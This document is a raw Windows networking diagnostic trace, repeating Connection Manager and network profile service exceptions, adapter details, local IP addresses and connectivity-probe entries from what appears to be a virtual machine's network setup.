onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(88) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(67) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(88) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(89) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(68) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(89) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(90) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(69) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(90) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(91) tid(970) 80070002 The system cannot find the file specified. localdomain localdomain fec0:0:0:ffff::1 fec0:0:0:ffff::2 fec0:0:0:ffff::3 localdomain localdomain Network NP_EV_INTERFACE_CONNECTED NP_EV_NETWORK_SIGNATURE_ADDED NP_EV_NETWORK_SIGNATURE_CONNECTED NP_EV_NETWORK_PROFILE_ADDED NP_EV_NETWORK_PROFILE_CONNECTED {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} Unidentified network {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(17) tid(7f0) 80070490 Element not found. onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(18) tid(7f0) 80070490 Element not found. cm_E ActiveInternetProbe.Http www.msftconnecttest.com connecttest.txt NULL NULL {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} http://www.msftconnecttest.com WAR, ProxyRedetection {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} Local Area Connection* 8 WAN Miniport (Network Monitor) Default oDown Ethernet Unknown Disconnected onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(301)\netprofmsvc.dll!00007FFC7250BE3E: (caller: 00007FFC7250B69E) Exception(4) tid(6c4) 80070015 The device is not ready. Microsoft IP-HTTPS Platform Interface Microsoft IP-HTTPS Platform Adapter Default oDown Tunnel Unknown Disconnected 6to4 Adapter Microsoft 6to4 Adapter Default oDown Tunnel Unknown Disconnected WinINet Microsoft-Windows-WinINet-Config/ProxyConfigChanged Event/System/EventID=5600 Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1756)\netprofmsvc.dll!00007FFC72524957: (caller: 00007FFC72504A41) Exception(6) tid(70c) 80070015 The device is not ready. ProxyRedetection ProxyRedetection ProxyRedetection {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(9) tid(7f0) 80070490 Element not found. onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(10) tid(7f0) 80070490 Element not found. 169.254.51.89 169.254.51.89 WellKnown Tentative {F3123279-6F20-4532-B61A-06F756C5D29C} NP_EV_NETWORK_LIST_CONNECTIVITY NP_EV_NETWORK_GLOBAL_DATAPLAN_STATUS_CHANGE Identifying... Identifying... NULL Ethernet0 Intel(R) 82574L Gigabit Network Connection NULL NULL ProxyRedetection wcm_notification_cm_private_network_quiet_mode_exit fAllowFailoverToCellular fAllowFailoverToCellular AllowFailover fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(1) tid(900) 80070002 The system cannot find the file specified. wcm_notification_cm_private_csp_state wcm_notification_cm_private_csp_state onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(5) tid(970) 80070002 The system cannot find the file specified. L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_csp_state L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_csp_state Ethernet 0: {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}, Ethernet, 1 0: {E33FA66E-DBEC-40A2-8AA4-E7C085F48539}, Ethernet, 1 Ethernet L2_NOTIFICATION_SOURCE_WCM_CSP wcm_notification_cde_l2_available_connection_add Ethernet Ethernet Ethernet L2_NOTIFICATION_SOURCE_WCM_CSP wcm_notification_cde_connected Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(21) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(13) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(21) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(22) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(14) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(22) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(23) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(15) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(23) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(24) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(2) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(6) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(7) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(3) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(7) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(8) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(9) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(4) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(9) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(10) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(5) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(10) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(11) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(6) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(11) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(12) tid(970) 80070002 The system cannot find the file specified. wcm_notification_cde_l2_adapter_arrival Ethernet wcm_notification_cde_l2_available_connection_add wcm_notification_cde_connected Software Loopback Connection wcm_notification_cde_l2_available_connection_add onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(13) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(7) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(13) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(14) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(8) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(14) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(15) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(9) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(15) tid(984) 80070002 The system cannot find the file specified. fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(16) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(17) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(10) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(17) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(18) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(11) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(18) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(19) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(12) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(19) tid(984) 80070002 The system cannot find the file specified. fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(20) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections L2_NOTIFICATION_SOURCE_WCM_CSP wcm_notification_cde_l2_adapter_arrival TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement Ethernet Ethernet L2_NOTIFICATION_SOURCE_WCM_CSP wcm_notification_cde_l2_available_connection_add Software Loopback Connection onecoreuap\net\wcm\service\base\firewallmanager\firewallmanager.cpp(378)\wcmsvc.dll!00007FFC6B01105F: (caller: 00007FFC6AF2EC9D) LogHr(2) tid(980) 8007007F The specified procedure could not be found. Msg:[onecoreuap\net\wcm\service\base\firewallmanager\FirewallRuleIterator.h(164)\wcmsvc.dll!00007FFC6AF7E516: (caller: 00007FFC6AF47D22) Exception(25) tid(980) 8007007F The specified procedure could not be found. Ethernet Ethernet Software Loopback Connection Software Loopback Connection onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(26) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55EFC) ReturnHr(16) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(26) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(27) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F0F) ReturnHr(17) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(27) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(28) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F2A) ReturnHr(18) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(28) tid(970) 80070002 The system cannot find the file specified. DisableUnConstrainedQueries DisableUnConstrainedQueries onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(32) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(22) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(32) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(34) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(23) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(34) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(35) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(24) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(35) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(36) tid(970) 80070002 The system cannot find the file specified. wcm_notification_cm_private_nla L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_nla onecoreuap\net\wcm\service\base\firewallmanager\FirewallRuleIterator.h(164)\wcmsvc.dll!00007FFC6AF7E516: (caller: 00007FFC6AF47D22) Exception(41) tid(980) 8007007F The specified procedure could not be found. 192.168.27.2 192.168.27.2 192.168.27.2 192.168.27.2 192.168.27.2 169.254.51.89 192.168.27.140 Dhcp Preferred 192.168.27.2 192.168.27.140 onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(42) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(28) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(42) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(43) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(29) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(43) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(44) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(30) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(44) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(45) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(31) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(45) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(46) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(32) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(46) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(47) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(33) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(47) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(48) tid(970) 80070002 The system cannot find the file specified. localdomain localdomain Stable localdomain localdomain fec0:0:0:ffff::1 fec0:0:0:ffff::2 fec0:0:0:ffff::3 localdomain localdomain localdomain 192.168.27.2 005056EF6F0C localdomain localdomain localdomain localdomain localdomain localdomain localdomain localdomain {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} ProxyRedetection ActiveInternetProbe.Http L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_nla onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(49) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(34) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(49) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(50) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(35) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(50) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(51) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(36) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(51) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(52) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(53) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(37) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(53) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(54) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(38) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(54) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(55) tid(984) 80070002 The system cannot find the file specified. 